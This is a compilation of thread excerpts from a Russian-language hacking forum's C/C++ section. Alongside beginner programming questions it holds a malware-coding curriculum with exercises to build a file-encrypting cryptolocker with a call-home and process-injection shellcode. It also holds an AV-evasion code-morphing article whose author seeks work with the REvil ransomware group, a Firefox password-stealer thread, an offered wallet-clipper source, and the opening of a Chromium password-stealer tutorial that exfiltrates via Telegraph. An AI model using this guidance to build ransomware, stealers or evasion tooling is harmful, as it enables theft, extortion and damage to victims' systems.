Вопросы по С/С++
Author: Quake3 • 2013-07-17T18:51:21+0000 • Replies: 746 • Views: 229K
Вроде такой темы нет на форуме, начну.
Пробую переходить на Си, и постоянно случается какой-то фейл. Вроде бы должно
быть проще, а на деле - все сложнее. Например, в каком файле объявлен прототип
функции GetFileSizeEx ? Пробовал
Code:Copy to clipboard
#include <windows.h>
#include <Winbase.h>
#include <FileAPI.h>
Толку 0, пишет на все
> undefined reference to `GetFileSizeEx'
>
> Click to expand...
Я знаю, что можно вызвать через loadlibrary/getprocaddres, но это костыль, как
сделать напрямую? Или в С это не объявлено, или у меня просто старый
компилятор? Пробовал codeblocks(mingw) и visual studio 6.
p.s. в Масм, как не странно, все нормально.
Как правильно изучать malware-кодинг под Windows
Author: Quake3 • 2020-07-08T19:00:07+0000 • Replies: 481 • Views: 103K
_Эта мини-статья является развернутым описанием моего старого поста_
<https://xss.is/threads/34442/post-204920>_Ничего особо нового тут не будет,
просто решил выделить отдельной темой и дооформить._
Итак, по каким-то причинам вы решили изучить , как же все таки пишут эту
малварь под винду. Причины, по которым тема может заинтересовать человека,
весьма разные, и не обязательно деструктивные - кто-то хочет стать ~~петухом~~
авером/вайтхетом, кому-то просто интересно, как оно устроено. В общем, причин
много, и это все лирика. Конечно, в инете есть множество статей вида "пишем
ботнет на петоне" и тому подобное школотворчество, и наверняка многие их
читали - но толку с таких мануалов весьма немного. Их авторы (зачастую полные
нубы) не дают никакого понимания базы, основ, а попросту пишут инструкцию из
серии сделай говно на палке из говна и палки, зарабатывая плюсики. Конечно,
кому-то и этого достаточно, а кому нет, то читайте дальше.
Основной тезис, который нужно усвоить: **малварь - это обычная программа** ,
выполняющая те или иные действия. Соответственно, вы должны _просто научиться
программировать под конкретную платформу_. Поскольку большинство интересует
именно Windows, то рассмотрим именно эту ОС (да и я ничего, кроме винды, и не
знаю).
**0х0**
Итак, начнем. В школе сначала учатся читать и писать, а потом уже переходят к
другим дисциплинам, в случае же нашей темы - вы должны уметь пользоваться
Windows , на уровне уверенного пользователя / начинающего сисадмина. Понятно,
что если вы читаете эту статью, значит какие-то навыки работы с компьютером у
вас есть. Но соц.сети и ютуб это не то, что нужно. Вы должны уметь
пользоваться командной строкой Windows (cmd.exe) , "путешествовать" по
файловой системе, иметь базовые понятия о .bat файлах, переменной %PATH%
(знать что это, уметь добавить/удалить туда значения). Нужно разобраться и
настроить виртуальную машину, т.к. во-первых, подобный софт может убить
основную ОС, а во-вторых , малварь придется проверять на разных выпусках и
версиях винды. Конкретную литературу к этому пункту не могу посоветовать, т.к.
у всех разный уровень знаний.
Теория:
* "Утилиты Sysinternals. Справочник администратора." <https://rutracker.org/forum/viewtopic.php?t=4222897>
* <https://ab57.ru/syssuite.html>
Практика:
* установить виртуалку (VirtualBox или другую), поставить туда семерку / ХР.
* В командной строке перейти в другую папку, на другой диск, создать файл, удалить файл, выполнить программу из цмд . Справку ищите на <https://ab57.ru> или в гугле.
**0х1**
Далее, нужно определится с языком программирования, т.е. на чем все это дело
будет создаваться. Если вкратце, то учить надо язык **Си**. Если подробнее -
язык программирования должен быть нативным (т.е. никаких фреймворков и прочее)
и компилируемым (не скрипты). На эту тему можно много холиварить, почему так ,
а почему не учить петон, а вот на шарпе... Я уже говорил много раз, как первый
язык нужно то, где нет ничего лишнего вида неотключаемых библиотек,
фреймворков, сборщиков мусора. Именно чистый код. Изучите это - можете потом
писать на чем угодно, но начинать учиться нужно именно с такого языка.
Языков много, но в принципе, выбирать можно между Си и Паскалем. Почему не
Ассемблер? С него очень тяжело начинать, я знаю это по своему опыту. Изучая
Ассемблер в качестве первого языка , вы будете вынуждены учить и сам Асм, и
основы программирования, и WinApi (поскольку в Асма нет никакой стандартной
библиотеки). Т.е. чтобы вывести строку на экран или там записать в файл, вам
надо будет параллельно изучить чудесный мир Windows API, с миллионом
параметров и тысячей типов данных , да еще и ~~ксорить дворды~~ конвертировать
это в Асм-код. В то время как Си или Паскаль на этом этапе позволят
"схалявить" и использовать простые функции. Почему не С++ ? Потому что в нем
нет никаких преимуществ перед чистым Си в контексте нужной нам задачи, а учить
ООП и новые стандарты с 0 - нереально (и бессмысленно). Настоящие плюсы - это
фабрики, шаблоны, итераторы, умные указатели , буст и т.д. и т.п, а не "Си с
классами" образца 94 года , как видят С++ многие. Со временем, возможно, вы
захотите перейти на плюсы, но не сейчас. Есть еще freebasic и прочая экзотика,
но эти языки менее популярны, и в случае чего (нет инклуда, какая-то ошибка)
не у кого будет спросить. Вначале обучения это очень важно, когда есть ошибка,
которая не гуглится и спросить особо не у кого. _Поэтому - либо Си, либо
Паскаль._ С чего бы не начали, правда, надо учесть, что знание Си (на уровне
чтения сорцев) все равно будет нужно , т.к. все эти MSDN и книги содержат
примеры именно на этом языке. В данной заметке я тоже буду ориентироваться на
Си, поэтому изучайте Си. Касаемо паскаля - если у кого есть на примете хорошая
книга для начинающих (и мысли на эту тему) , пишите здесь. Я могу вспомнить
только Столярова <https://xss.is/threads/28946/> , но и у него паскаль идет
сугубо как подготовка к Си-кодингу.
Теория:
* Стивен Прата "Язык программирования С. Лекции и упражнения". <https://rutracker.org/forum/viewtopic.php?t=4791274> Она подойдет тем, кто начинает с полного 0, т.к. там все разжевано до мельчайших деталей.
* Брайан Керниган, Деннис Ритчи. "Язык программирования Си" <https://rutracker.org/forum/viewtopic.php?t=32310> более сложная книга (относительно первой), но это классика (авторы создали язык Си).
Практика:
* Все упражнения из книги (закодить самому , разобраться как что и почему работает, поэкспериментировать с разными возможностями языка).
* Установить Visual Studio, там хорошая пошаговая отладка, подсветка синтаксиса, автодополнение и т.д. Почитать справку, как там дебажить, потестить на практике (регистры, память, переменные).
**0х2**
Изучив базовые основы языка Си, можно двигаться дальше , а именно - приступить
к изучению WinApi. Основная разработка в ОС Windows идет с помощью Win32 Api -
это , так сказать, самый низкий (из документированных Майкрософтом) уровень
для разработки под винду в юзермоде. Еще есть Native Api и даже прямой вызов
сисколов, но пока этого всего не надо. Вам нужно усвоить базовую информацию по
разработке под Windows - что такое поток, процесс, служба, как разрабатываются
многопоточные приложения и т.д. Параллельно нужно совершенствовать знания
языка Си, а именно - изучить базовые алгоритмы. С некоторыми из них вы должны
были уже встречаться ранее. Знание алгоритмов нужно, чтобы быть именно
нормальным программистом, а не "быдлокодером". Также некоторые системные
структуры (да и просто чужие сорцы) могут использовать все эти хэш таблицы,
двусвязные списки, и подобное. Конечно, в любом языке программирования давно
существуют стандартные библиотечные средства для такого. Но - вам нужно
понимать, как все это дело устроено на низком уровне, а уж потом юзать
готовое. Вообще, в процессе обучения нужно делать свои "велосипеды", чем
больше тем лучше.
Теория:
* Финогенов К.Г "Win32. Основы программирования" <https://rutracker.org/forum/viewtopic.php?t=908022> , самая простая и базовая книга по WinApi. К сожалению, автор ее писал лет 20 назад, когда еще все было по другому, но все же.
* <http://firststeps.ru/mfc/winapi/win/apiwind1.html> \- основы винапи на русском языке, и вообще полезный сайт
* Керниган, Пайк "Практика программирования" <https://rutracker.org/forum/viewtopic.php?t=3049308> отличная книга (один из авторов - создатель Си и Go), как раз на тему алгоритмов и разработки в целом.
Практика:
* Напишите простейшие GUI приложения под винду. Никаких компонентов, чистый WinApi (окна, диалоги). Потестируйте разные примеры с книги Финогенова.
* Доработайте свои примеры из книг по Си (раздел 0х1), добавив туда окна. К примеру, окно, форма ввода открыть такой-то файл, если ок - считать данные с него, если не ок - вывести ошибку.
**0х3**
Вы уже прошли основы WinApi, более-менее уверенного владеете языком Си, пришла
пора полностью погрузится в программирование под Windows. Изучить различные
системные механизмы, подробнее ознакомится с процессами, межпроцессным
взаимодействием, созданием сервисов, устройством памяти винды, динамические
библиотеки и прочая и прочая - в общем, изучить все кирпичики, из которых
состоит разработка под Windows. Здесь можно учить все подряд, а можно выбирать
только некоторые темы, скажем пропустить службы или там безопасность винды.
Советую читать все подряд, т.к. лишних знаний не бывает.
Теория:
* Джеффри Рихтер "Windows via C/C++" <https://rutracker.org/forum/viewtopic.php?t=3075398> . Классика системного программирования под винду. Вне зависимости, что еще вы планируете изучать, эту книгу прочитать вы обязаны.
* Дж. Харт "Системное программирование в среде Windows" <https://rutracker.org/forum/viewtopic.php?t=988938> Также неплохая книга, есть задания для самостоятельной работы.
* Рихтер, Кларк , "Программирование серверных приложений для windows 2000" <https://rutracker.org/forum/viewtopic.php?t=298205> далеко не все из этой книги вам понадобится сразу, но некоторые темы (реестр, файлы) следует изучить, т.к. они дополняют первую книгу. Кстати, именно в этой книге есть IOCP (нафиг никому не нужный 20 лет, но внезапно обретший популярность из-за говнолокеров).
Практика:
* В вышеупомянутых книгах много примеров , изучите их, попробуйте что-то изменить, выполните задания по доработке примеров или придумайте сами.
* Напишите простейший криптолокер, который ищет файлы и шифрует их банальным ксором. Используйте разные технологии (потоки, порт, тредпул), сравните какая эффективней (как сравнивать см. в книге Харта).
* Напишите компонент (модуль в виде DLL) для вашего криптолокера, пропишите его в реестр ; добавьте отстук на какой-то домен (используя Wininet/winsock/winhttp api, документацию см. в мсдн).
**0х4**
В книге Рихтера из предыдущего этапа в конце обучения вы столкнулись с
понятием инжекта в процесс, перехватом апи функций и подобными темами. Пришло
время изучить это все дело подробнее. Нужно учиться изучать программы без
исходных кодов, дебажить их, реверсить , понимать логику чужой программы и
искать ошибки в своей в боевых условиях. Студийный отладчик помогал все это
время в обучении. Но для чужих программ такой халявы не будет, т.к. у вас нет
исходных кодов , а только Асм листинг. Чем дебажить? Можно взять как старую
OllyDBG (только 32 бита), так и более новый x64dbg, и разбираться. Сначала
трейсить пошагово свои же программы, параллельно читая справочник по
Ассемблеру. Книжек по последнему есть великое множество, но не все оттуда
нужно в данном случае - Асм достаточно понимать, а не писать на нем (тем более
под dos, как учит 80% авторов). Знания Ассемблера пригодятся и дальше, для
вызова сисколов, сокрытия/перехвата вызовов винапи, разработки шеллкодов и так
далее.
Теория:
* "Введение в реверсинг с 0, используя Ида про" <https://wasm.in/threads/perevod-vvedenie-v-reversing-s-nulja-ispolzuja-ida-pro.32249/> , зеркало <https://yutewiyof.gitbook.io/intro-rev-ida-pro/> . Перевод от [yashechka](/members/136806/) , курс отличный
* "Введение в крекинг с 0, используя оллидбг" [https://exelab.ru/f/?action=vthread&forum=5&topic=14847](https://exelab.ru/f/?action=vthread&forum=5&topic=14847)
Практика:
* Реверс и дебаг сначала своих, а потом и чужих (крекми, чужая малварь) приложений.
* Напишите простой шеллкод (пусть даже захардкодив адреса апи), выполните его. Протестируйте разные методики инжекта в процесс.
**0хFF**
Вот таков примерный курс, изучив который вы сможете уверенно начать
разрабатывать простую малварь. Почему простую? Потому что, увы, несмотря на
большой объем инфы, многие вещи все равно еще остались за кадром. К примеру,
РЕ формат , секьюрити винды, технология СОМ, драйвера (не обязательно учиться
писать малварь под ядро, но понимать как там что устроено, весьма желательно),
криптография, сеть, NTFS , графика винды (огромная тема, все эти GDI+,
win32k.sys) и т.д. и т.п. Но это все дело поправимое, было бы желание учится.
Имея базу, можно со всем постепенно разобраться.
Дальнейшее чтение:
* MSDN
* Марк Руссинович "Внутреннее устройство Windows"
* "от зеленого к красному" \- три статьи, линк ищите сами, на васме или chm копии старого васма.
* rsdn.org
* Свен Шрайбер "Недокументированные возможности Windows 2000"
* ..... тысячи сайтов, страниц, книг..
Дальнейшая практика:
* реверс чужой малвари, написание своей. Что-то не знаете - реверсите конкурента, читайте аверские обзоры , спрашивайте на форуме.
И постоянно учитесь, ведь знание это Сила и главный капитал!
Примечания.
1. Статья отображает сугубо мое субъективное мнение и мой личный опыт, никого ни к чему не призывает, просто советует. Конструктивная критика ("сначала лучше изучить Х, а там сделать упор на Y перечитав Z") приветствуется. Неконструктивная ("это все бред, учите петон!") будет удаляться (но никто не запрещает создать свою тему и там расписать свой опыт от и до).
2. Ссылки на материалы, ес-но могут устареть, умереть, переехать, поэтому ищите их по названию в гугле.
Книги по C & C++
Author: Winux • 2005-07-16T09:19:26+0000 • Replies: 49 • Views: 47K

Николай Секунов
Самоучитель Visual C++ .Net
736 стр. - 9,25Мб
 [Скачать
Самоучитель Visual C++
.Net](http://rapidshare.de/files/3075203/Samouchitel_Visual_C___.NET.rar.html)
Вопросы по С#
Author: Ingiborga • 2021-04-25T13:26:08+0000 • Replies: 130 • Views: 44K
Я вроде изучаю тихо C# и все понятно, но вот гуглил, смотрел видосы и все
равно не понимаю что такое { get; set; } може кто то найдется кто расскажет
мне понятным мне языком. Понял только что можно обьявить ими доступ в приват
класы или не так понял?
Вкат в С, С+
Author: Kumarin • 2022-07-23T05:55:56+0000 • Replies: 349 • Views: 31K
Ребят, всем привет. Вкатываюсь в C+ по Столярову. Пока на паскале)) так что
если вдруг есть такие же, как я, велком. Будем помогать друг другу, чуть что в
этой теме. А если вдруг вы старожила, велком, поделитесь советами, если не
жалко!
Курс по С++ с уклоном в тематику форума
Author: Snow • 2024-10-14T13:58:47+0000 • Replies: 267 • Views: 20K
Всем вечер добрый.
Судя по обилию тем с заголовками вида: "На чем написать вирус для взлома
пентагона или жирного буржуйского банка ?" и "я начинающий мамкин хацкер,
подскажите курс по плюсам, хочу свой шкафчик". Оно, конечно, понятно, все мы
когда-то были слепыми котятами и искали того, кто сможет внятно объяснить
простым языком сложные вещи. Однако, опять же, по моим наблюдениям, в 90%
случаев эти люди на форуме больше не задают вопросов по выбранному языку.
Причин может быть множество, но как мне кажется, большинство тупо забило,
заблудившись среди миллионов курсов от мамкиных блохеров. Никого не хочу
обидеть, ни в коем случае - я про блохеров.
Меня давно не покидает идея о создании собственного курса по плюсам - таки да,
мне тоже не дает покоя слава мамкиных блохеров. А если серьезно, то вроде бы
знания и опыт позволяют замахнуться на Вильяма нашего Шекспира.
Однако не хочется делать банальный курс, с описанием элементарных вещей, но
душа требует размаха. Я предлагаю определиться с направлением, наиболее
актуальным для С++ и начать разрабатывать проект, который будет полезен всем.
Проект будет сопровождаться серией статей, включающих как теорию, без которой
никуда, так и практику, дабы совместить приятное с полезным.
поэтому я предлагаю всем желающим подключиться к обсуждению, а может и к
участию в проекте, основной целью которого является передача опыта
подрастающему поколению и пополнение рядов секты свидетелей С++. Ну и польза
для форума, как мне кажется, очевидна.
рансомваре
Author: Triada • 2019-12-25T16:23:12+0000 • Replies: 55 • Views: 18K
напишу криптолокер и дропну сюда что получится
Изучение C++ с 0
Author: Fashion • 2006-04-02T13:33:37+0000 • Replies: 60 • Views: 17K
Подскажите можно ли начать изучать СИ, если знание программирования вообще 0!
Viva la Морфер
Author: x3Rx • 2020-02-29T16:25:22+0000 • Replies: 51 • Views: 16K
**Привет бандиты!**
Я почитал конкурсный топик и похоже просек рецепт идеальной статьи:
\- Минимум теории, максимум практики
\- Пиши про морфинг кода, это больная тема у всех
\- Не выдавай рабочий софт, выдавай концепт
Оно и понятно. Сейчас у большинства серьезных ребят своя приватная малварь
(есть доступ к сорцам) + как я понял крипт на уровне бинарников уже не торт.
Ну хуль, морфим значит морфим. Погнали.
**Что морфим**
\- Числа
\- Строки
\- Функции
**Числа**
Начнем с простого - числа. Тут все просто, как дважды два. Есть глобальная
мысль и есть 1001 метод.
**Глобальная мысль:** вычисляем нужное число, но так, чтобы наши операции не
оптимизировал компилятор и чтобы вычислить можно было большим количеством
способов.
Короче, идея супер простая - мы своим человеческим мозгом приходим к
алгоритму, который даст нам фиксированное число. А из этого числа мы уже
получим все остальные нужные нам числа.
Легко же получить 5, если у тебя уже есть в программе 3?
Конечно, 3 + 2 = 5, да?
А фиг там, оптимизация. И на месте твоего выражения уже сияет цифра 5, а твой
софт на динчеке горит аки новогодняя елка.
Что делать? Придумать вычисления, которые компилятор не умеет оптимизировать.
Например, с рандомом.
**Метод 1:**
Получаем число 3 или 9 из любого числа на входе.
Довольно забавная магия, следи за руками:
1) Загадай любое число
2) Возьми его и два следующих за ним числа и сложи (то есть если загадал число
21 - берешь 21 22 и 23 и складываешь - у меня получилось 66)
3) Возьми эту сумму и сложи все цифры между собой (у меня 66, значит я
складываю 6+6=12)
4) Опять разбиваешь на цифры, опять складываешь и так повторяешь ~~пока не
состаришься~~ пока не получишь число из одной цифры
5) Ахалай-махалай, у тебя получилось 3 или 9!
Как это работает? Вспоминаем школу, признак деления на 3 и 9 - если сумма цифр
делится, то и число делится. А также сумма любых трех подряд идущих чисел
делится на 3 (ну или 9, если повезет).
Совмещаем эти два простых факта и получаем 3 или 9 из абсолютно любого числа
на входе.
Как получить из 3 или 9 любое другое число думаю объяснять излишне.
**Метод 2:**
Играем с остатками.
Как вы уже поняли, суть в том, чтобы не дать компилятору вычислить результат
до старта программы, потому что входные данные неизвестны. А понять логику и
упростить он не может.
1) x + x%y (остаток от деления) всегда делится на y
2) если x делится на y, то x%y = 0
3) если перебирать подряд числа и if'ом проверять делится ли без остатка на
допустим 123, а потом поделить, то компилятор такое хрен оптимизирует, а мы на
выходе всегда получим 0
4) Остаток суммы всегда равен сумме остатков. То же самое с разностью и
произведением.
Давай на пункте 4 остановимся поподробнее. Что это значит?
А это значит, что можно любое число представить вот так:
Code:Copy to clipboard
38 = x*((15 + 13 + 10)//x) + (12 + 16 + 10)%x
= x*(15//x + 13//x + 10//x) + 12%x + 16%x + 10%x
где x - любое случайное число.
Круто, правда? Получаем в рантайме абсолютно левое число и серией
неоптимизируемых операций всегда получаем нужное.
Кстати про левое число, пара методов:
1) Дернуть рандом, очевидно
2) Узнать время
3) Узнать размер файла
4) Просто указателем в рандомную ячейку памяти ткнуть
5) Запросить содержимое сайта, взять ord() от какого-нибудь символа
6) Взять длину левой строки
И так далее, бесконечное количество информации, которую мы можем взять и
преобразовать в рантайме в нужную нам.
Да, детка, гений господствует над хаосом.
**Строки**
На строках я не буду так подробно останавливаться, потому что если поняли с
числами - допрете и до строк.
**Лайфхаки** :
1) Собрать список чисел (уже умеем), преобразовать с помощью char() в строку.
2) Обратный хэш. Это когда мы от нужной строки заранее берем хэш, а потом в
рантайме его брутим (чтобы найти ключ - нашу исходную строку). Тут мы убиваем
двух зайцев - прячем строку и обходим эмуляцию.
3) Составляем строку, используя известный нам символ и математику.
Тут методика основана на том, что мы человеки знаем больше, чем бездушные
машины. Например, все мы знаем с чего начинается любой html файл - это можно
использовать.
4) Не все знают, но в большинстве языков программирования можно воткнуть
рандомную строку в качестве условия в if. Если строка не пустая - вернет True,
иначе False. А тру и фолс можно преобразовать в строку и получить
"True"/"False" \- пердсказуемый стартовый кусок данных.
Я думаю со строками все понятно, поэтому перейдем к самому соку - функциям.
**Функции**
Ну блин, вы же не думали, что я просто по фану писал предыдущую статью про
Функциональное программирование?
Суть вот в чем... Да фиг с ней с сутью, практика-практика!
Сразу покажу пример, а потом уже все объясню.
1) У нас есть функция вида:
Code:Copy to clipboard
int max(int num1, int num2) {
// local variable declaration
int result;
if (num1 > num2)
result = num1;
else
result = num2;
return result;
}
2) Переводим ее в лямбда функцию (поддерживается со стандарта C++11, а в более
новых версиях вижуал студио еще проще - через auto)
Code:Copy to clipboard
function<int (int) (int)> max = [] (int num1, int num2) -> int {
int result;
if (num1 > num2)
result = num2;
else
result = num1;
return result;
}
3) Фигачим каррирование (кто не знает - это когда мы функцию от нескольких
аргументов сводим к цепочке функций от одного аргумента.)
Code:Copy to clipboard
function<function<int (int)> (int)> max =
[] (int num1) -> function<int (int)> {
return [num1] (int num2) -> int {
int result;
if (num1 > num2)
result = num2;
else
result = num1;
return result;
}
}
Ну а теперь теория. Нафиг надо все это делать?
Это достаточно сложно понять и еще сложнее объяснить, но я попытаюсь.
В примере мы сделали вот что:
1) Есть наша рабочая функция, допустим от 2 аргументов
2) Мы превращаем ее в лямбда-функцию, а потом каррируем - получаем 2 новых
функции, каждая с новой сигнатурой и новым набором аргументов, но результат
работы тот же.
Идея для морфинга функций:
1) Есть наша рабочая функция от 2 аргументов
2) Добавляем в нее трэш-аргументы, получаем функцию от 30 аргументов
3) Превращаем в лямбда функцию и каррируем как черти, но при этом на каждом
уровне с трэш-аргументами добавляем еще и трэш-код.
Таким образом мы получаем бесконечное количество вариантов flow нашего софта
(потому что мы движемся не сверху вниз по коду, как в императивном
программировании, а по функциям-коллбэкам, как в ФП), и функционал при этом
остается тот же. Более того, на каждом из этапов движения мы можем втыкать
абсолютно любой код, который использует наши трэш-аргументы.
Я надеюсь никто не обиделся, что я расписал все на примере C++.
То же самое можно сделать и в шарпе, и в делфях, и практически в любом другом
языке.
Я очень хотел приложить PoC рабочего морфера, а еще очень хотел написать про
макросы и препроцессор, но как обычно отложил все на последний день, а до 1
марта остается всего несколько часов.
Короче, **итоговые мысли** :
1) Морфить сорцы можно, причем делать это можно в автоматическом режиме,
бесконечным числом вариантов.
2) Для обфускации констант мы применяем метод "неизвестно что на входе -
предсказуемый результат на выходе" и неупрощаемые математические операции.
3) Для морфинга функции - мы переводим ее в лямбда-функцию, расширяем число
аргументов и делаем трэш-каррирование, изменяя тем самым поток выплонения и
сигнатуры функций.
Спасибо Администрации XSS и Unknown за конкурс - я на площадке недавно, но мне
уже нравится.
Буду рад вопросам в комментариях.
Буду еще больше рад поработать с командой REvil

Разработка стилера, обсуждение.
Author: Jeffs • 2020-06-18T14:24:12+0000 • Replies: 133 • Views: 15K
В общем пишу стиллер для лисы, свою реализацию декрипта писать лень, поэтому
решил юзать дллки от х32 лисы. Взял freebl3.dll, mozglue.dll, msvcp140.dll,
nss3.dll, softokn3.dll, vcruntime140.dll, закинул в одну папку.
Пытаюсь загрузить nss3.dll:
C:Copy to clipboard
HMODULE hNss = LoadLibraryW(L"dlls\\nss3.dll");
if (!hNss)
{
DWORD err = GetLastError();
return false;
}
В GetLastError ловлю ошибку 126 (ERROR_MOD_NOT_FOUND). Собственно, что не так?
Забыл ещё какие-то зависимости?
Для начинающих.
Author: uZverg • 2005-10-10T15:58:17+0000 • Replies: 43 • Views: 15K
Помогите разобраться новичку, с чего надо начинать изучение С++? И какое чтиво
для этого нужно? И какой компилятор лучше использовать(желательно дать ссылку
на компилятор).
Огромное спаибо.
Какой лучший обфускатор/протектор/виртуализатор ?
Author: уруру • 2019-04-20T19:16:33+0000 • Replies: 34 • Views: 14K
Исходя из сложности взлома и наличия или отсутствия деобфускаторов и
анпакеров, возник вопрос: какая защита более надежна для
\- С++
\- С#
NT Insider
Author: ph0enix.re • 2011-01-15T17:22:17+0000 • Replies: 10 • Views: 12K
Ребята из OSR решили продолжить выкладывать свой бумажный журнал в электронном
виде.
January—February 2011 Digital Edition Volume 18 Issue 1
Содержание номера:
**The Wonderful World of Software Drivers**
Про типы софтварных драйверов
**Bash Those Bugs! The WDK Community Bug Bash Rolls Along**
Конкурс по поиску багов в WDK
**Peter Pontificates: Pods of Fun**
Какие-то предсказания =)
**Getting Away From It All— The Isolation Driver (Part II)**
Вторая часть статьи про модель драйвера-фильтра FS, блокирующего запросы
**Let the Race Begin—Debugging Race Conditions**
Отладка race conditions
**Analyst’s Perspective: Analyzing User Mode State from a Kernel Connection**
Анализ юзермода из ядра с помощью WinDBG
**Go Blue!**
Немного про usb 3.0 =)

[Скачать|Download](http://insider.osr.com/2011/ntinsider_2011_01.pdf)
Старый номер -

[Скачать|Download](http://insider.osr.com/2010/ntinsider_2010_07.pdf)
Гайд: Отключаем CRT и Оптимизируем программу
Author: c0d3r_0f_shr0d13ng3r • 2020-04-01T09:08:45+0000 • Replies: 62 • Views: 11K
_Использование**CRT(C Runtime Library)** раздувает выходной EXE файл и
добавляет в таблицу импорта(далее **IAT**) "левые" функции.Сегодня мы
"вырежем" CRT и сделаем EXE-шник весом в **1.5 кб у которого полностью будет
отсутствовать IAT.**_
**Для начала рассмотрим основные минусы отказа от CRT:**
-Невозможность использования стандартных обработчиков ошибок(try / catch)
-Невозможность использования функций C.
Окей, все действия я буду проводить на VS 2019, однако их можно повторить
практически на всех VS.
**Шаг 1.Отключаем CRT:**
Создадим пустой C++ проект и добавим в него файл исходного кода C/C++, пока
что не будем его трогать.
Теперь идем в свойства проекта и выставляем следующее:
Компоновщик -> Ввод -> Игнорировать все стандартные библиотеки -> **Да
(/NODEFAULTLIB)**
C/C++ -> Общие -> Проверки SDL -> **Нет(/sdl-)**
C/C++ -> Создание кода -> Отключить проверку безопасности -> **Да(/GS-)**
C/C++ -> Создание кода ->Включить C++ Исключения -> **Нет**
C/C++ -> Создание кода -> Основные проверки времени выполнения -> **По
умолчанию**
Теперь нам необходимо задать кастомную точку входа.Для этого перейдем в
Компоновщик -> Дополнительно -> Точка входа .Название точки входа может быть
любым.Главное ее обозначить.У меня это будет _Entry_.
` #include <Windows.h> VOID WINAPI Entry(VOID) { //... } `
Также **можно** отключить создание манифеста.Это необязательный шаг, но он
позволит сбросить целых 1.5 кб ?
Компоновщик -> Файл манифеста -> Создавать манифест -> **Нет(/MANIFEST:NO)
Шаг 2.Включаем оптимизацию(желательно делать на сборке Release):**
C/C++ -> Оптимизация -> **Максимальная оптимизация (приоритет размера) (/O1)**
C/C++ -> Оптимизация -> Предпочитать размер или скорость -> **Предпочитать
краткость кода (/Os)**
Теперь скомпилируем наш проект(x86, Release).Результат:
**Размер файла 1.5 кб:**

**DiE определяет нашу программу как написанную на _MASM-е_ :**

**Таблицы импорта нету вообще:**

Но и это еще не все!
**Шаг 3.Кастомный DOS Stub:**
В PE файле есть такой заголовок как Dos Stub.Он представляет из себя небольшую
DOS программу, которая будет запущена, если кто-то попытается запустить нашу
программу на MS-DOS.Мы заменим эту DOS программу на другую, более легкую.
****
Перейдем в Компоновщик -> Командная строка.И введем туда:
**/stub:custom_dos_stub.bin**(предварительно положив custom_dos_stub.bin в
папку с проектом)
Собственна все.Теперь DiE не определяет компилятор

Как правильно начать учиться?
Author: A m a t e r a s u • 2020-01-18T18:01:55+0000 • Replies: 37 • Views: 11K
Привет, я интересуюсь пентестом и писанием малвари. На данный момент изучаю
скриптовый язык Python (также присматриваюсь к Golang, но не хочется бросать
змейку на пол пути) по книги A byte of Python для маленького софта, вроде как
легко даётся. В планах учить С/С++ для вирмейкинга. Хочу узнать как и где
учить, может знаете какие-ниюбудь книги, сайты, курсы, хочу выдвигаться в
обеих сферах. И желательно что-то актуальное, постоянно натыкаюсь на какой-
нибудь хлам который попросту убивает моё время, а врменеи у меня не так уж и
много. Также буду рад совету по типу: Сначала учи Си , потом плюсы (читал где-
то подобную статью). Знаю таких глупых вопросов сотни, а то и тысячи, но в
большинстве своём они устаревшие, либо не конкретные ответы. Надеюсь на вашу
помощь.
Clipper | C | Source Code
Author: Jeffs • 2020-03-07T13:23:39+0000 • Replies: 33 • Views: 11K
Выкладываю исходный код клиппера, писался давненько на чистом си. За говнокод
не бейте :\
Кошельки указываются в файлике "common.h".
Все ненужные вам кошельки просто закомментите.
Как добавить подмену тех валлетов, которых нет сейчас:
1) Дописываем дефайн с нашим кошельком в файле "common.h":

2) Дописываем условие в файлике "main.cpp":

Где:
1 - символ, с которого начинается текст, который мы хотим заменить на свой
(можно указать несколько через '|'/'&&')
2 - длина этого текста (можно указать '>'/'<')
3 - на что заменять (указываем имя того дефайна, что мы прописали в файлике
"common.h")
В общем-то на этом всё.
Пароль:
You must have at least 20 reaction(s) to view the content.
Simple Telegraph Stealer, C++
Author: h0peIess • 2019-11-24T19:58:30+0000 • Replies: 27 • Views: 11K
**Предупреждение**
**Автор не кодер, вообще в этом ничего не понимает, и вообще статья была
написана исключительно в ознакомительных целях.
P.S. Сама идея была нагло украдена, но материал/код полностью авторский.
P.S.S СТАТЬЯ ДЛЯ КОНКУРСА.
Введение**
**Хэй, сегодня поговорим, что такое стиллер и даже напишем демоверсию, панель
будет написана во второй части (если наберем много лайков xD). Что такое
стиллер?
Стиллер — определенный класс троянов (малвари, вирусов **—** как хотите),
функционал которых полностью состоит из кражи сохраненных в системе паролей,
прочей информации и отправке их создателю. Стиллер, пользуясь наивностью
~~чукотских~~ программистов, исследует хранилища часто используемых программ и
нагло тырит оттуда все логины, пароли и т.п. Следующий, он же последний этап
работы программ данного класса ****—**** отправка вкусняшек злоумышленнику.
Вот как-то так всё это и работает. **
****
**Писать мы будем на C++ (~~ХАРДКОР~~), но с использованием сторонних
библиотек (например, libcurl), для того чтобы упростить задачу, вы можете
переписать данную malware, используя исключительно WinApi, чтобы избавиться от
лишних зависимостей. У нас будут реализованы только самые основные функции:**
* **Стиллинг паролей из "всех" браузеров на Chromium**
* **Получение информации о системе**
* **Скриншот экрана**
**В чем “фишка” нашего стиллера**
**Обычно стиллер отправляет полученную информацию на почту, но это не очень
практично/удобно, наш же стиллер будет отправлять все данные на сервер, но он
не будет оформлен на~~вашу мать~~ вас. Мы будем юзать Telegraph, сервис для
постинга статей (в основном, используется в Telegram). Таким образом мы
немного повышаем свою анонимность. Панель будет обращаться к сервису через
Tor, Proxy и т.д. У Telegraph’a есть свой собственный API, что существенно
упрощает нам задачу.**
**
Заголовочный файл с инклюдами**
**Здесь у нас подключаются все нужные нам библиотеки, пространства имен. Также
здесь описываются следующие классы:**
* **Config**
* **Converters**
**В первом классе указаны нужные нам значения, такие как:**
* **Рабочая директория**
* **Директория для «.bat» файла (для удаления)**
* **Название рабочей директории**
* **Пароль для финального архива**
* **Страница Telegraph, где будут находится все нужные нам ссылки (позже поясню)**
* **Access Token для редактирования страницы на сайте Telegraph**
**Во втором же классе описаны методы, дающие нам пространство для маневром c
кодировками (ASCII, Unicode)**
C++:Copy to clipboard
#include <iostream>
#include <vector>
#include <fstream>
#include <string>
#include <zip.h>
#include <filesystem>
#include <Windows.h>
#include <curl/curl.h>
#include <json/json.h>
#include <gdiplus.h>
#include <intrin.h>
#include <comdef.h>
#include <libloaderapi.h>
#include <winsqlite/winsqlite3.h>
#include <ShlObj_core.h>
#include <Wbemidl.h>
#pragma comment(lib, "wbemuuid.lib")
#pragma comment(lib, "winsqlite3.lib")
